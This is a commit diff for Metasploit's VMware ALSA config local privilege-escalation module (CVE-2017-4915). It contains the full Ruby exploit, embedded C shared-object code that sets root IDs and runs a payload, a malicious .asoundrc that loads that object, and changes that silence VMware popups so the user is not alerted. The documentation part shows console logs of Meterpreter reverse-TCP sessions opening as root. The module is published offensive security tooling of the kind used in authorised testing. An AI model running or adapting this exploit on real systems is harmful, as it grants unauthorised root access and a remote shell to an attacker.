Land #11137, Clean up linux/local/vmware_alsa_config exploit module
This commit is contained in:
commit
b9742802aa
|
@ -1,15 +1,22 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.
|
||||
This module exploits a vulnerability in VMware Workstation Pro and
|
||||
Player on Linux which allows users to escalate their privileges by
|
||||
using an ALSA configuration file to load and execute a shared object
|
||||
as `root` when launching a virtual machine with an attached sound card.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day.
|
||||
VMware Workstation Pro and VMware Workstation Player are the industry
|
||||
standard for running multiple operating systems as virtual machines on
|
||||
a single PC. Thousands of IT professionals, developers and businesses
|
||||
use Workstation Pro and Workstation Player to be more agile, more
|
||||
productive and more secure every day.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* VMware Player version 12.5.0 on Debian Linux
|
||||
* VMware Player version 12.5.0 on Debian Linux 8 Jessie
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
@ -20,7 +27,7 @@
|
|||
4. Do: `set SESSION [SESSION]`
|
||||
5. Do: `check`
|
||||
6. Do: `run`
|
||||
7. You should get a new root session
|
||||
7. You should get a new `root` session
|
||||
|
||||
|
||||
## Options
|
||||
|
@ -33,31 +40,72 @@
|
|||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**Xdisplay**
|
||||
|
||||
Display exploit will attempt to use (default: `:0`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie)
|
||||
|
||||
```
|
||||
msf exploit(vmware_alsa_config) > check
|
||||
msf5 > use exploit/linux/local/vmware_alsa_config
|
||||
msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/vmware_alsa_config) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/vmware_alsa_config) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[+] Target version is vulnerable
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(vmware_alsa_config) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.181:4444
|
||||
[+] Target version is vulnerable
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ...
|
||||
[*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ...
|
||||
[*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ...
|
||||
[*] Writing '/home/user/.asoundrc' (116 bytes) ...
|
||||
[*] Launching VMware Player...
|
||||
[*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400
|
||||
[*] Removing /tmp/.baVu7FwzlaIQyp
|
||||
[*] Removing /home/user/.asoundrc
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500
|
||||
[+] Deleted /home/user/.asoundrc
|
||||
[+] Deleted /home/user/Desktop/~/.vmware/preferences
|
||||
[!] Attempting to delete working directory /tmp/pSvQHD5S5fh
|
||||
[-] Exploit failed: negative array size (or size too big)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.221
|
||||
Computer : 172.16.191.208
|
||||
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/vmware_alsa_config
|
||||
msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/vmware_alsa_config) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/vmware_alsa_config) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ...
|
||||
[*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ...
|
||||
[*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ...
|
||||
[*] Writing '/home/user/.asoundrc' (116 bytes) ...
|
||||
[*] Launching VMware Player...
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.208
|
||||
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
|
|
@ -6,8 +6,11 @@
|
|||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -20,13 +23,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
as root when launching a virtual machine with an attached sound card.
|
||||
|
||||
This module has been tested successfully on VMware Player version
|
||||
12.5.0 on Debian Linux.
|
||||
12.5.0 on Debian Linux 8 Jessie.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-4915' ],
|
||||
[ 'EDB', '42045' ],
|
||||
[ 'BID', '98566' ],
|
||||
[ 'URL', 'https://www.securitytracker.com/id/1038525' ],
|
||||
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
|
||||
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
|
||||
|
@ -34,8 +38,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jann Horn', # Discovery and PoC
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
'Jann Horn', # Discovery and PoC
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'May 22 2017',
|
||||
'Platform' => 'linux',
|
||||
|
@ -46,86 +50,137 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
|
||||
'AppendExit' => true,
|
||||
'PrependFork' => true,
|
||||
'WfsDelay' => 30,
|
||||
'PrependFork' => true
|
||||
'Payload' => 'linux/x64/meterpreter_reverse_tcp'
|
||||
},
|
||||
'DefaultTarget' => 1,
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Privileged' => true ))
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
|
||||
OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0'])
|
||||
]
|
||||
end
|
||||
|
||||
def has_prereqs?
|
||||
vmplayer = cmd_exec 'which vmplayer'
|
||||
if vmplayer.include? 'vmplayer'
|
||||
vprint_good 'vmplayer is installed'
|
||||
else
|
||||
print_error 'vmplayer is not installed. Exploitation will fail.'
|
||||
return false
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def mkdir(path)
|
||||
vprint_status "Creating '#{path}' directory"
|
||||
cmd_exec "mkdir -p #{path}"
|
||||
register_dir_for_cleanup path
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def strip_comments(c_code)
|
||||
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data, gcc_args='')
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
|
||||
gcc = cmd_exec 'which gcc'
|
||||
if gcc.include? 'gcc'
|
||||
vprint_good 'gcc is installed'
|
||||
else
|
||||
print_error 'gcc is not installed. Compiling will fail.'
|
||||
return false
|
||||
unless gcc_args.to_s.blank?
|
||||
gcc_cmd << " #{gcc_args}"
|
||||
end
|
||||
|
||||
true
|
||||
output = cmd_exec gcc_cmd
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
chmod path
|
||||
end
|
||||
|
||||
def check
|
||||
unless has_prereqs?
|
||||
print_error 'Target missing prerequisites'
|
||||
unless command_exists? '/usr/bin/vmplayer'
|
||||
print_error 'vmplayer is not installed. Exploitation will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'vmplayer is installed'
|
||||
|
||||
unless has_gcc?
|
||||
print_error 'gcc is not installed. Compiling will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'gcc is installed'
|
||||
|
||||
config = read_file('/etc/vmware/config') rescue ''
|
||||
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
|
||||
version = Gem::Version.new $1.gsub(/\.$/, '')
|
||||
vprint_status "VMware is version #{version}"
|
||||
else
|
||||
vprint_error 'Could not determine VMware version.'
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
if version >= Gem::Version.new('12.5.6')
|
||||
vprint_error 'Target version is not vulnerable'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
begin
|
||||
config = read_file '/etc/vmware/config'
|
||||
rescue
|
||||
config = ''
|
||||
end
|
||||
|
||||
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
|
||||
@version = Gem::Version.new $1.gsub(/\.$/, '')
|
||||
vprint_status "VMware is version #{@version}"
|
||||
else
|
||||
print_error "Could not determine VMware version."
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if @version < Gem::Version.new('12.5.6')
|
||||
print_good 'Target version is vulnerable'
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
print_error 'Target version is not vulnerable'
|
||||
CheckCode::Safe
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check == CheckCode::Safe
|
||||
print_error 'Target machine is not vulnerable'
|
||||
return
|
||||
unless [CheckCode::Detected, CheckCode::Appears].include? check
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
@home_dir = cmd_exec 'echo ${HOME}'
|
||||
unless @home_dir
|
||||
print_error "Could not find user's home directory"
|
||||
return
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
@prefs_file = "#{@home_dir}/.vmware/preferences"
|
||||
|
||||
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
|
||||
@base_dir = "#{datastore['WritableDir']}/#{fname}"
|
||||
cmd_exec "mkdir #{@base_dir}"
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
so = %Q^
|
||||
home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
|
||||
if home_dir.blank?
|
||||
fail_with Failure::Unknown, "Could not find user's home directory"
|
||||
end
|
||||
|
||||
unless writable? home_dir
|
||||
fail_with Failure::BadConfig, "#{home_dir} is not writable"
|
||||
end
|
||||
|
||||
# Create a directory for the virtual machine and associated files
|
||||
vmx_name = rand_text_alphanumeric(10..15)
|
||||
vm_dir = "#{base_dir}/#{vmx_name}"
|
||||
mkdir vm_dir
|
||||
|
||||
# Create shared object
|
||||
payload_name = rand_text_alphanumeric(10..15)
|
||||
so_name = rand_text_alphanumeric(10..15)
|
||||
so = <<-EOF
|
||||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
|
||||
Original shared object code by jhorn
|
||||
|
@ -149,22 +204,16 @@ __attribute__((constructor)) void run(void) {
|
|||
if (ruid == 0 || euid == 0 || suid == 0) {
|
||||
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
|
||||
err(1, "setresxid");
|
||||
system("#{@base_dir}/#{fname}.elf");
|
||||
system("#{vm_dir}/#{payload_name}");
|
||||
_exit(0);
|
||||
}
|
||||
}
|
||||
^
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.c"
|
||||
write_file "#{@base_dir}/#{fname}.c", so
|
||||
EOF
|
||||
|
||||
vprint_status "Compiling #{@base_dir}/#{fname}.o"
|
||||
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
|
||||
unless output == ''
|
||||
print_error "Compilation failed: #{output}"
|
||||
return
|
||||
end
|
||||
upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99'
|
||||
|
||||
vmx = %Q|
|
||||
# Create virtual machine
|
||||
vmx = <<-EOF
|
||||
.encoding = "UTF-8"
|
||||
config.version = "8"
|
||||
virtualHW.version = "8"
|
||||
|
@ -176,9 +225,9 @@ sound.fileName = "-1"
|
|||
sound.autodetect = "TRUE"
|
||||
vmci0.present = "FALSE"
|
||||
hpet0.present = "FALSE"
|
||||
displayName = "#{fname}"
|
||||
displayName = "#{vmx_name}"
|
||||
guestOS = "other"
|
||||
nvram = "#{fname}.nvram"
|
||||
nvram = "#{vmx_name}.nvram"
|
||||
virtualHW.productCompatibility = "hosted"
|
||||
gui.exitOnCLIHLT = "FALSE"
|
||||
powerType.powerOff = "soft"
|
||||
|
@ -187,75 +236,62 @@ powerType.suspend = "soft"
|
|||
powerType.reset = "soft"
|
||||
floppy0.present = "FALSE"
|
||||
monitor_control.disable_longmode = 1
|
||||
|
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
|
||||
write_file "#{@base_dir}/#{fname}.vmx", vmx
|
||||
EOF
|
||||
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.elf"
|
||||
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
|
||||
upload "#{vm_dir}/#{vmx_name}.vmx", vmx
|
||||
upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe
|
||||
|
||||
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
|
||||
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
|
||||
|
||||
asoundrc = %Q|
|
||||
# Create ALSA sound config
|
||||
asoundrc = <<-EOF
|
||||
hook_func.pulse_load_if_running {
|
||||
lib "#{@base_dir}/#{fname}.so"
|
||||
lib "#{vm_dir}/#{so_name}.so"
|
||||
func "conf_pulse_hook_load_if_running"
|
||||
}
|
||||
|
|
||||
vprint_status "Writing #{@home_dir}/.asoundrc"
|
||||
write_file "#{@home_dir}/.asoundrc", asoundrc
|
||||
EOF
|
||||
|
||||
vprint_status 'Disabling VMware hint popups'
|
||||
unless directory? "#{@home_dir}/.vmware"
|
||||
cmd_exec "mkdir #{@home_dir}/.vmware"
|
||||
@remove_prefs_dir = true
|
||||
upload "#{home_dir}/.asoundrc", asoundrc
|
||||
|
||||
# Hint popups must be disabled.
|
||||
# Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user.
|
||||
# Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install.
|
||||
#
|
||||
# VMware uses '~' to determine the user's home directory when reading the preferences file:
|
||||
# stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory)
|
||||
# open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory)
|
||||
#
|
||||
# If we're executing in a shell without '~' expansion,
|
||||
# then we'll need to create this directory in the current working directory.
|
||||
vprint_status 'Disabling VMware popups...'
|
||||
|
||||
unless cmd_exec("test -d ~ && echo true").include? 'true'
|
||||
mkdir '~'
|
||||
end
|
||||
unless cmd_exec("test -d ~/.vmware && echo true").include? 'true'
|
||||
mkdir '~/.vmware'
|
||||
end
|
||||
|
||||
if file? @prefs_file
|
||||
begin
|
||||
prefs = read_file @prefs_file
|
||||
rescue
|
||||
prefs = ''
|
||||
end
|
||||
# Expand '~' to the appropriate full directory path and parse preferences
|
||||
prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences"
|
||||
unless file? prefs_file
|
||||
cmd_exec "touch #{prefs_file}"
|
||||
register_file_for_cleanup prefs_file
|
||||
end
|
||||
|
||||
prefs = cmd_exec("cat #{prefs_file}").to_s
|
||||
if prefs.blank?
|
||||
prefs = ".encoding = \"UTF8\"\n"
|
||||
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
|
||||
prefs << "hints.hideAll = \"TRUE\"\n"
|
||||
@remove_prefs_file = true
|
||||
elsif prefs =~ /hints\.hideAll/i
|
||||
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
|
||||
else
|
||||
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
|
||||
end
|
||||
vprint_status "Writing #{@prefs_file}"
|
||||
write_file "#{@prefs_file}", prefs
|
||||
vprint_status "Writing config file: #{prefs_file}"
|
||||
write_file prefs_file, prefs
|
||||
|
||||
# Launch VMware in the background to prevent the existing session from dying
|
||||
print_status 'Launching VMware Player...'
|
||||
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status "Removing #{@base_dir} directory"
|
||||
cmd_exec "rm '#{@base_dir}' -rf"
|
||||
|
||||
print_status "Removing #{@home_dir}/.asoundrc"
|
||||
cmd_exec "rm '#{@home_dir}/.asoundrc'"
|
||||
|
||||
if @remove_prefs_dir
|
||||
print_status "Removing #{@home_dir}/.vmware directory"
|
||||
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
|
||||
elsif @remove_prefs_file
|
||||
print_status "Removing #{@prefs_file}"
|
||||
cmd_exec "rm '#{@prefs_file}' -rf"
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# if we don't /bin/sh here, our payload times out
|
||||
session.shell_command_token '/bin/sh'
|
||||
super
|
||||
cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo "
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue